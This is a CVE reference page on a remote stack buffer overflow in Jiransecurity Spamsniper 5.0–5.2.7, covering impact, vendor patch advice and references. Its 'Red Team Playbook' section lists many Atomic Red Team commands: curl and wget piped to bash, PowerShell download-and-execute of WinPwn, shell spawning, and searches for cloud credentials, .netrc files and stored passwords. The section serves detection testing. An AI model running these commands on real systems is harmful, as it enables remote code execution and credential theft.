CVE-2020-7845
Overview
The vulnerability is a stack-based buffer overflow occurring in Jiransecurity Spamsniper versions 5.0 through 5.2.7. It results from improper boundary checks during the parsing of the MAIL FROM command within the SMTP protocol implementation. This flaw affects the input validation logic of the mail handling component, allowing excessive data to overwrite stack memory buffers.
Vulnerability Description
Spamsniper 5.0 ~ 5.2.7 contain a stack-based buffer overflow vulnerability caused by improper boundary checks when parsing MAIL FROM command. It leads remote attacker to execute arbitrary code via crafted packet.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network to execute arbitrary code on the affected system, potentially gaining full control. No user interaction or prior access is required, as the attack vector is the network-exposed SMTP interface. Successful exploitation can lead to data compromise, service disruption, or lateral movement within the environment. The CVSS vector (AV:N/AC:H/PR:N/UI:N) indicates network attack with high complexity but no privileges or user interaction needed.
Solution
Jiransecurity has released patches addressing this vulnerability in Spamsniper versions later than 5.2.7. Users should upgrade to the latest available version as detailed in the official advisory published at https://www.krcert.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=35855. The vendor’s website https://www.jiransecurity.com/ provides additional guidance and update instructions. Applying the vendor-supplied patch is the recommended remediation to eliminate the improper boundary checks in the MAIL FROM command parser.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Spamsniper versions 5.0 through 5.2.7 is characterized by a stack-based buffer overflow, which arises from inadequate boundary checks during the parsing of the MAIL FROM command. This flaw enables an attacker to send specially crafted packets that exceed the allocated buffer size, leading to the potential execution of arbitrary code on the affected system. The nature of stack-based buffer overflows allows attackers to overwrite the return address of a function, redirecting the execution flow to malicious code. This vulnerability is particularly critical due to the high CVSS score of 9.8, indicating a severe risk level that necessitates immediate attention.
Attack vectors for this vulnerability primarily involve remote exploitation, where an attacker can send crafted packets to the vulnerable application without requiring physical access to the system. By leveraging this flaw, an attacker could execute a variety of malicious actions, including installing malware, stealing sensitive data, or taking control of the affected server. Scenarios may include sending a large number of crafted packets in a denial-of-service attack or using the vulnerability as a foothold to pivot into a larger network. The ability to execute arbitrary code remotely poses a significant threat, especially in environments where Spamsniper is deployed to filter email traffic, as it could compromise the integrity of the entire email system.
The real-world impact of this vulnerability can be profound, particularly for organizations relying on Spamsniper for email security. A successful exploitation could lead to unauthorized access to sensitive information, including customer data, intellectual property, and internal communications. The potential for data breaches not only poses a direct financial risk due to potential fines and remediation costs but also threatens an organization's reputation and trustworthiness. Furthermore, the ability for attackers to execute arbitrary code could allow them to leverage the compromised system for further attacks, creating a cascading effect that could impact other connected systems and networks.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching the Spamsniper application is crucial to eliminate known vulnerabilities. Employing intrusion detection systems (IDS) can help identify unusual patterns of traffic that may indicate an attempted exploitation of the vulnerability. Additionally, organizations should conduct regular security audits and penetration testing to assess their defenses against such vulnerabilities. Network segmentation can also be an effective strategy to limit the potential impact of a successful attack, ensuring that even if one system is compromised, the attacker cannot easily move laterally within the network.
In conclusion, the stack-based buffer overflow vulnerability in Spamsniper poses a significant threat to organizations that utilize this email filtering solution. The combination of remote exploitability and the potential for arbitrary code execution makes it a critical concern that must be addressed promptly. Through a proactive approach to detection and mitigation, organizations can safeguard their systems against this and similar vulnerabilities, thereby enhancing their overall cybersecurity posture. The importance of maintaining up-to-date software and employing robust security measures cannot be overstated in the current threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Jiransecurity | Spamsniper | All |
cpe:2.3:a:jiransecurity:spamsniper:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-7845 |
| jiransecurity.com |
GitHub CVE
x_refsource_MISC
|
https://www.jiransecurity.com/ |
| krcert.or.kr |
GitHub CVE
x_refsource_MISC
|
https://www.krcert.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=35855 |